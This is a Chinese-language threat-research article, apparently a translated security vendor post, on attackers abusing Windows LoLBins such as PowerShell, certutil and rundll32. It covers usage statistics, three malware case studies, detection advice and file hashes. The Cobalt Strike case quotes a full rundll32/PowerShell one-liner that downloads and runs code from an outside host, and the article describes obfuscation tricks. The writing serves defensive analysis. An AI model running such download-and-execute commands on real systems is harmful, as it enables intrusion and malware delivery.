一、概述
攻击者所使用的技术总是循环往复的。近期,我们发现攻击者所使用的一种流行技术,被称为离地攻击(living-off-the-land)二进制文件,或者简称为“LoLBins”。不同的攻击者经常使用LoLBins技术,将无文件的恶意软件与合法的云服务相结合,从而提升攻击活动(通常是在后漏洞利用阶段)未被发现的概率。
使用离地攻击策略,就表明攻击者需要使用预先安装好的工具来执行其工作。这会让防御者更难检测到攻击,同时也会让研究人员更难识别出恶意活动背后的攻击者是谁。在我们监测到的攻击活动中,我们在受害者的操作系统上找到了一些二进制文件,这些二进制文件原本是用于合法目的,但在这些场景中它们被攻击者滥用。
在这篇文章中,我们将主要研究LOLBins的使用,此外还将介绍最经常会被攻击者滥用的Windows系统二进制文件,并对具体的使用情况进行数据统计和分析。
我们还将对近期发生的LoLBins相关恶意活动进行说明,并在最后提出如何检测恶意LoLBins的建议。
二、详细分析LoLBins
LoLBin是操作系统提供的二进制文件,通常用于合法目的,但也有可能被恶意行为者滥用。有一些默认存在的系统二进制文件可能会存在一些“副作用”,从而导致攻击者利用这些系统文件来隐藏他们的恶意活动。
LoLBins并不是一个新鲜的概念,也不仅仅针对Windows环境。从早期的DOS操作系统和Unix系统开始,几乎所有流行的操作系统中都包含着攻击者可以利用的可执行文件。
我们不妨举一个80年代中期的示例,其中,用于重新启动计算机的二进制代码以文本形式提供给默认的debug.com DOS调试器,目的是避免被反恶意软件扫描程序检测到,并保证按照预期运行恶意代码。
N SET.COM A 100 MOV AX,0040 MOV DS,AX MOV AX,1234 MOV [0072],AX JMP F000:FFF0 RCX 10 W Q
在DerbyCon 3的演讲中,Matthew Graeber和Christopher Campbell讨论了如何利用默认的Windows二进制文件进行红蓝对抗中红队活动,以逃避安全防御机制。
在这篇文章中,我们也同样将重点放在Windows的LoLBins上,并揭秘现如今的一些常见用法。
总而言之,攻击者可以利用LoLBins来实现以下目的:
下载并安装恶意代码;
执行恶意代码;
绕过UAC;
绕过应用程序控制,例如WDAC。
攻击者可能会利用一些经常由系统厂商预先安装,并可能在侦查期间发现的其他实用程序。这些可执行文件可能是经过签名的实用程序,例如:更新程序、配置程序和各种第三方驱动程序。
LoLBins通常与合法的云服务(例如:GitHub、Pastebin、Amazon S3)和云存储(例如:Dropbox、Box和Google Drive)结合使用。通过使用合法的云服务来存储恶意代码、命令和控制(C2)基础结构和进行数据泄露。因为这一过程中所产生的流量与合法行为产生的流量没有区别,因此攻击者开展的此类活动有非常大的可能不会被检测到。
我们主要关注可以用于下载或执行恶意代码的可执行文件。在我们的研究中,我们对下面这些可执行文件的每日运行情况进行了持续监测,并确认它们是否可能会被滥用。这些可执行文件包括:
powershell.exe
bitsadmin.exe
certutil.exe
psexec.exe
wmic.exe
mshta.exe
mofcomp.exe
cmstp.exe
windbg.exe
cdb.exe
msbuild.exe
csc.exe
regsvr32.exe
2.1 滥用PowerShell
在最近一段时间里,PowerShell是攻击者用于下载恶意代码和内存执行的主要怀疑对象。攻击者通常会使用这个Command Shell,其内部是基于Windows管理和.NET框架构建。这个功能强大的管理环境中包含一个安全策略,可以防止执行不受信任的代码。但遗憾的是,可以通过一个命令行选项轻松规避这个策略。
有一种思路,是完全禁止执行带有绕过安全策略选项的PowerShell。但是,有很多合法的工具(例如:Chocolatey软件包管理器、某些使用精确命令行的系统管理工具)。
PowerShell的代码对大小写不敏感(不区分大小写),只要没有加上明确的选项,就会接受命令行选项的缩短版本。例如,-EncodedCommand选项(接受Base64编码后的字符串作为参数)也可以写成-EncodedC或-enc来调用,这也是恶意攻击者经常会使用的。
例如Sodinokibi和Gandcrab这样的流行恶意软件,曾经使用过反射DLL加载程序,从而让攻击者无需使用Windows API,即可将动态库加载到进程内存中。
Invoke-Obfuscation模块通常用于创建多态混淆的变体,反病毒程序和其他防御机制通常无法检测到该变体。
随着时间的推移,攻击者逐渐认识到了PowerShell在恶意用途方面所具有的“潜力”,并开始逐渐增加滥用于LoLBins的可执行文件的数量。msbuild.exe和C#编译器csc.exe是红队最常用的一些工具,这两个工具经常都会用于下载、构建和加载针对特定系统设计的恶意代码,并且不会出现在任何可执行文件的阻止列表上。
2.2 LoLBins的使用频率分析
我们借助Cisco AMP的终端遥测技术,尝试确定LoLBins被滥用的频率。我们通过安全信道接收到的遥测数据中,包含被调用进程的名称,以及其文件映像的加密校验和,这有助于我们跟踪某一个特定文件的发展情况,并梳理清楚父子进程关系。
AMP遥测中绘制的进程关系图示例:
我们的遥测数据侧重于检测新型攻击的发生情况,但理论上也可以测量出可疑的LoLBins调用数量。
我们研究了可以快速判断使用的其他LoLBins。在所有情况下,我们都假设最坏的情况,将以下进程的任何使用URL作为参数的调用视为可疑行为,这些进程包括:
· mshta.exe
· certutil.exe
· bitsadmin.exe
· regsvr32.exe
· powershell.exe
由于我们对于“可疑进程调用”具有较为宽松的定义,因此可能会产生一些误报。例如,对于在命令行中使用URL作为参数的PowerShell调用,我们估算应该只对其中的7%进行深入调查,并且这7%很有可能是恶意的。
根据对每天数十亿条数据进行分析,并将检测到的可疑调用数量除以总调用数量,就能够得到可疑调用的百分比。总体而言,我们假设了最坏的情况,还至少有99.8%的LoLBins调用不需要进行深入分析。
LoLBins和其中可疑调用的比例关系:
然后,我们提取了这些潜在的可疑调用,并深入寻找其中可能是恶意的调用。
我们再一次以PowerShell为例进行说明,针对潜在可疑的PowerShell进程执行,其中符合条件的占比仅有0.2%。但是,如前所述,只有7%需要进行实际的深入调查,因此这一比例就降低到了0.014%。因此,有至少99.986%的PowerShell调用是合法的。
如果要确认是否属于恶意调用的URL,我们总结出一个简单的经验,即查找LoLBins调用中是否包含以下内容的组合:
(1)任何外部IP地址;
(2)任何.net顶级域名;
(3)任何.eu顶级域名;
(4)任何以可执行文件或图像扩展名结尾的URL(例如:.exe、.lnk、.dll、.jpg、.png等);
(5)对Pastebin.com及其镜像站点的任何引用;
(6)对GitHub或任何源代码存储库站点的任何引用。
2.3 红队活动
尽管大多数记录的可疑调用都源自于恶意行为者,但值得注意的是,其中也包含一部分红队活动。安全团队和渗透测试人员经常会使用对抗性模拟框架(例如:Red Canary Atomic测试)来测试针对ATT&CK知识库中分类的工具、技术和进程的系统性防御情况。
因此,有一些红队定制了一些工具,来模拟注入Mimikatz之类的流行恶意工具的活动。这里有一个托管在GitHub上的自定义脚本示例,用于模拟使用合法域名托管恶意代码的对抗技术。
红队成员使用伪Mimikatz模块来测试防御能力:
三、LoLBins攻击者的技术水平分析
在本章中,我们将描述三起独立的攻击活动,并通过这些案例详细展现PowerShell的用法,并展现三个技术水平不同的恶意组织所编写出的内存恶意代码。安全人员可以通过对命令和及选项的分析,来轻松检测到这些攻击活动。
3.1 案例1:普通的勒索软件
在第一个案例中,我们主要来分析Sodinokibi勒索软件。Sodinokibi是一个非常流行的勒索软件,该勒索软件借助网络钓鱼的方式进行传播,同时也内置一些漏洞利用工作包,并利用Web框架(例如WebLogic)中的漏洞进行传播。
根据遥测结果,我们看到,PowerShell是使用Invoke-Expression cmdlet启动的,它使用Net.WebClient.DownloadString函数从Pastebin网站上获取代码,将网站上的内容下载为字符串,并将其存储在内存中。
最初的Sodinokibi PowerShell调用:
下载的代码是一个反射DLL加载程序,具有随机的函数名称,以避免使用简单的基于模式的检测引擎。勒索软件Payload经过Base64编码,并存储在变量$PEBytes32中。值得注意的是,Base64可执行文件Payload起始的两个字符为“TV”,可以作为其识别特征,这两个字符被解码为字符“MZ”,可以执行PE32+可执行文件的DOS可执行文件Stub。
反射DLL加载程序加载Sodinokibi Payload:
Sodinokibi和GandCrab都是非常常见的勒索软件,但这并不意味着它们的开发者技术实力较差。尽管二者都使用现有的技术来传播和执行Payload,但我们仍然可以判断出,其幕后开发者大致具有中等的技术水平。
3.2 案例2:中等水平的挖矿恶意软件
我们的第二个案例,攻击者使用PowerShell功能,对内存中的代码进行模糊处理,并对内存中的多层混淆进行了模糊处理,然后安装并执行加密货币挖矿Payload的实际PowerShell脚本。
解码后的第一个Invoke-Obfuscation层:
Invoke-Obfuscation模块通常用于PowerShell混淆之中。除了模糊完整的下一层脚本代码之外,还会隐藏对Invoke-Expression(IEX)cmdlet的调用。在这里的示例中,$Env:COMSpec变量包含字符串“C:\Windows\System\cmd.exe”,因此,连接在一起的第4个、第15个和第25个字符会组成字符串“iex”。
这个加密货币挖矿恶意软件包含五个反混淆阶段,在最后一个阶段,通过使用参数为“*mdr*”的“gv”(Get-Variable cmdlet)获取变量MaximumDriveCount的名称并选择第3个、第11个和第2个字符来组成该字符串。
从MaximumDriveCount中提取“iex”:
下载的PowerShell脚本中包含以下功能:
(1)禁用Windows Defender、Malwarebytes和Sophos反恶意软件产品;
(2)安装经过修改后的XMRig加密货币Payload;
(3)下载从内存中窃取用户凭据的模块,窃取到的凭据会首先计算出其Invoke-TheHash哈希值,然后通过SMB或WMI的方式来传递。
反混淆后的加密货币挖矿加载工具:
3.3 案例3:Cobalt Strike如何在网络流量中隐藏
我们的最后一个案例,展现了高级攻击者的恶意活动。攻击者将Cobalt Strike信标与从Cobalt Strike框架中获得的PowerShell阶段工具共同使用,一起用于后漏洞利用阶段的恶意活动。
根据我们的遥测,发现攻击是从滥用rundll32.exe,在命令行调用Jscript代码下载网页,随后启动初始PowerShell而开始的。
rundll32.exe javascript:\\..\\mshtml,RunHTMLApplication ;document.write();new%20ActiveXObject(WScript.Shell).Run(powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('hxxps://stjohnplece.co/lll/webax.js');
PowerShell的第一阶段是webax.js,这个文件名具有误导性,它实际上会解压缩PowerShell的第二阶段代码,该代码会将第一阶段的Shellcode加载到内存中,并创建一个特定的请求去下载看起来像是标准jQuery JavaScript库的内容。
Cobalt Strike PowerShell阶段工具:
该Shellcode会发出一个到IP地址134.209.176.24的HTTP GET请求,但这个请求的标头字段显示正在寻找的主机是code.jquery.com,这是jQuery官方服务的合法域名。这样的技术似乎成功绕过了一些自动执行环境,这些环境经过分析会认为该请求转到了合法主机上,而非恶意IP地址。
带有欺骗性主机字段的HTTP标头:
下载的恶意jQuery从第4015个字节开始是实际的jQuery代码,后面紧接着经过混淆处理的Cobalt Strike信标,该信标通过静态XOR方式进行模糊处理,并使用反射加载技术加载到内存中。
恶意jQuery和Cobalt Strike Payload的开始和结束:
恶意jQuery以1520字节的实际jQuery代码结束,以防止反恶意软件扫描程序扫描请求的开始部分和末尾部分。
这种将二进制Payload隐藏在jQuery库中,并逃避恶意IP地址检测的技术表明,我们正在与一个更高级的恶意攻击者对抗,他们的恶意行为可能具有更强的隐蔽性。
总体而言,我们无法确定出哪些攻击者或攻击组织会专注于使用LoLBins。目前,我们能看到的是,不仅一些高级的攻击者在使用这样的技术,同时一些常见的恶意代码(例如:勒索软件、挖矿恶意软件)也在使用这种技术。
四、如何检测并防范LoLBins滥用
使用不监控进程行为的安全防护方案,往往很难防范LoLBins与无文件代码结合使用的攻击方式。我们可以通过对进程的父子关系进行分析、对网络通信进行监测、对进程的异常网络活动情况进行检测等方式来检测是否存在LoLBins滥用。
我们建议组织应该将其系统配置为集中式日志记录,这样可以方便安全团队开展进一步的分析。从V5版本开始,PowerShell可以配置将所有已执行代码块的执行记录保存到Windows事件日志中。这样一来,安全团队的成员就可以了解需要在运行之前进行反混淆处理的混淆后代码。在Windows事件日志中,也可以看到反混淆后代码的执行。
我们优先推荐的防御措施,是使用Windows Defender应用程序控制这样的机制拒绝LoLBins的执行。Microsoft曾创建了一个策略阻止文件,该文件可以阻止受保护系统上不需要的LoLBins不会被执行。
但遗憾的是,在大多数环境中,通常无法阻止所有LoLBins,因为一些合法的进程也需要用到它们。
五、总结
我们的研究表明,不论是商品化的恶意软件,还是有针对性的高级攻击,目前有许多攻击者正在借助各种技术,在他们的恶意活动中开始使用LoLBins。但是,LoLBins被滥用的整体概率非常低(低于0.2%),因此还不太适合“一刀切”地阻止对LoLBins的所有调用。
但是,蓝队成员在进行对抗的过程中,必须充分考虑到LoLBins的可能性。如果成功使用,攻击者可以借助LoLBIns来增强其隐蔽性,或者使恶意软件能在目标计算机上保留更长的时间。
六、检测与防御产品
我们建议用户可以选用终端检测与响应工具(EDR),从而跟踪进程调用行为,并对进程进行检测。
借助一些网络安全设备进行网络扫描,可以阻止访问恶意网站,并检测到这些攻击活动中所使用的恶意软件。
电子邮件安全产品可以阻止攻击者在恶意活动中发出的恶意电子邮件。
下一代防火墙(NGFW)、下一代入侵防御系统(NGIPS)等网络安全设备可以检测出与上述威胁相关的恶意活动。
除此之外,一些安全产品可以帮助识别恶意二进制文件,并建立保护机制。
使用安全互联网网关(SIG)可以阻止用户连接到恶意域名、IP和URL,同时涵盖公司内部网络和外部网络。
除上述之外,客户还可以订阅开源SNORT,在snort.org下载最新版本的规则库,以保证实时掌控最新的威胁信息。
七、威胁指标
7.1 Sodinokibi
dc3de6cff67f4bcb360d9fdd0fd5bd0d6afca0e1518171b8e364bb64c5446bb1
dc788044ba918463ddea34c1128c9f4da56e0778e582ae9abdeb15fdbcc57e80
7.2 Xmrig相关样本
4528341b513fb216e06899a24d3560b89636158432ba7a0a118caa992739690e
c4ef0e90f81bac29899070d872e9ddea4531dbb5a18cdae090c19260cb0d4d83
e0ffda3353a17f5c9b7ef1d9c51f7dc1dcece1dfa2bcc8e1c93c27e5dde3b468
3f8d2e37a2bd83073e61ad4fc55536007076ae59a774b5d0c194a2bfab176172
92f0a4e2b7f4fe9d4ea373e63d9b08f4c2f21b2fd6532226c3fd576647efd64a
ebb7d224017d72d9f7462db541ac3dde38d2e7ecebfc9dca52b929373793590
7.3 Cobalt Strike相关样本
522b99b5314531af6658e01ab471e1a7e0a5aa3a6ec100671dcfa0a6b0a1f52d
4c1a9ba633f739434cc81f23de9c6c1c12cdeacd985b96404a4c2bae2e54b0f5
f09d5ca3dfc53c1a6b61227646241847c5621b55f72ca9284f85abf5d0f06d35